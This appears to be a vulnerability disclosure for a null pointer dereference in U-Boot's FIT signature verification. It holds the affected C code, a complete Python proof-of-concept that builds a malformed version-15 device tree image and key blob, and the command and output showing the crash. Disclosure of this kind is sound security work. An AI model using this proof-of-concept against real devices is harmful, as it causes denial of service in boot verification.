Denial of service in U-Boot during FIT image signature verification because of null pointer dereference in `fdt_find_regions`

case FDT_PROP:
    include = want >= 2;
    stop_at = offset;
    prop = fdt_get_property_by_offset(fdt, offset, NULL);
    str = fdt_string(fdt, fdt32_to_cpu(prop->nameoff));

const struct fdt_property *fdt_get_property_by_offset(const void *fdt,
						      int offset,
						      int *lenp)
{
	/* Prior to version 16, properties may need realignment
	 * and this API does not work. fdt_getprop_*() will, however. */

	if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) {
		if (lenp)
			*lenp = -FDT_ERR_BADVERSION;
		return NULL;
	}

	return fdt_get_property_by_offset_(fdt, offset, lenp);
}

make sandbox_defconfig
make -j"$(nproc)" KCFLAGS=-fcommon

#!/usr/bin/env python3

import io
import os
import struct
import sys

FDT_MAGIC = 0xD00DFEED
FDT_VERSION = 15   # legacy v<16 path - triggers the bug
FDT_COMP_VERS = 2

FDT_BEGIN_NODE = 1
FDT_END_NODE = 2
FDT_PROP = 3
FDT_END = 9

HDR_SIZE = 40
RSV_SIZE = 16


def be32(x):
    return struct.pack(">I", x & 0xFFFFFFFF)


def pad4(n):
    return (n + 3) & ~3


class StringTable:
    def __init__(self):
        self.buf = bytearray()
        self.idx = {}

    def add(self, s):
        if s in self.idx:
            return self.idx[s]
        off = len(self.buf)
        self.idx[s] = off
        self.buf.extend(s.encode("ascii") + b"\x00")
        return off

    def bytes(self):
        return bytes(self.buf)


def begin(out, name):
    out.write(be32(FDT_BEGIN_NODE))
    b = name.encode("ascii") + b"\x00"
    out.write(b + b"\x00" * (pad4(len(b)) - len(b)))


def end(out):
    out.write(be32(FDT_END_NODE))


def prop(out, st, name, value):
    out.write(be32(FDT_PROP))
    out.write(be32(len(value)))
    out.write(be32(st.add(name)))
    out.write(value + b"\x00" * (pad4(len(value)) - len(value)))


def build(path):
    st = StringTable()
    body = io.BytesIO()

    begin(body, "/")

    begin(body, "/images")
    begin(body, "/images/k")
    begin(body, "/images/k/hash")
    end(body)
    end(body)
    end(body)

    begin(body, "/configurations")
    prop(body, st, "default", b"c\x00")
    begin(body, "/configurations/c")
    prop(body, st, "kernel", b"k\x00")
    begin(body, "/configurations/c/signature-1")
    prop(body, st, "algo", b"sha1,rsa2048\x00")
    prop(body, st, "value", b"\x00" * 256)
    end(body)
    end(body)
    end(body)

    end(body)
    body.write(be32(FDT_END))

    struct_bytes = body.getvalue()
    strings_bytes = st.bytes()

    off_mem_rsvmap = HDR_SIZE
    off_dt_struct = HDR_SIZE + RSV_SIZE
    off_dt_strings = off_dt_struct + len(struct_bytes)
    totalsize = off_dt_strings + len(strings_bytes)

    header = b"".join([
        be32(FDT_MAGIC),
        be32(totalsize),
        be32(off_dt_struct),
        be32(off_dt_strings),
        be32(off_mem_rsvmap),
        be32(FDT_VERSION),
        be32(FDT_COMP_VERS),
        be32(0),
        be32(len(strings_bytes)),
        be32(len(struct_bytes)),
    ])
    with open(path, "wb") as f:
        f.write(header)
        f.write(b"\x00" * RSV_SIZE)
        f.write(struct_bytes)
        f.write(strings_bytes)


def build_keyblob(path):
    st = StringTable()
    body = io.BytesIO()
    begin(body, "")

    begin(body, "binman")
    end(body)

    begin(body, "signature")
    begin(body, "key-prod")
    prop(body, st, "required", b"conf\x00")
    prop(body, st, "algo", b"sha1,rsa2048\x00")
    end(body)
    end(body)

    end(body)
    body.write(be32(FDT_END))

    struct_bytes = body.getvalue()
    strings_bytes = st.bytes()
    off_dt_struct = HDR_SIZE + RSV_SIZE
    off_dt_strings = off_dt_struct + len(struct_bytes)
    totalsize = off_dt_strings + len(strings_bytes)

    header = b"".join([
        be32(FDT_MAGIC),
        be32(totalsize),
        be32(off_dt_struct),
        be32(off_dt_strings),
        be32(HDR_SIZE),
        be32(17),
        be32(16),
        be32(0),
        be32(len(strings_bytes)),
        be32(len(struct_bytes)),
    ])
    with open(path, "wb") as f:
        f.write(header)
        f.write(b"\x00" * RSV_SIZE)
        f.write(struct_bytes)
        f.write(strings_bytes)


if __name__ == "__main__":
    fit = sys.argv[1] if len(sys.argv) > 1 else "poc.fit"
    key = sys.argv[2] if len(sys.argv) > 2 else "keyblob.dtb"
    build(fit)
    build_keyblob(key)

./u-boot -d keyblob.dtb -c 'host load hostfs - 100 poc.fit; fdt addr 100; fdt checksign'
Bloblist at 100 not found (err=-2)


U-Boot 2026.04 (May 14 2026 - 12:58:02 +0100)

DRAM:  256 MiB
Core:  29 devices, 15 uclasses, devicetree: board, universal payload active
NAND:  0 MiB
MMC:
Loading Environment from nowhere... OK
Warning: device tree node '/config/environment' not found
In:    serial,cros-ec-keyb,usbkbd
Out:   serial,vidconsole
Err:   serial,vidconsole
Net:         eth_initialize() No ethernet found.

578 bytes read in 0 ms
Working FDT set to 100
sha1,rsa2048:<NULL>zsh: segmentation fault  ./u-boot -d keyblob.dtb -c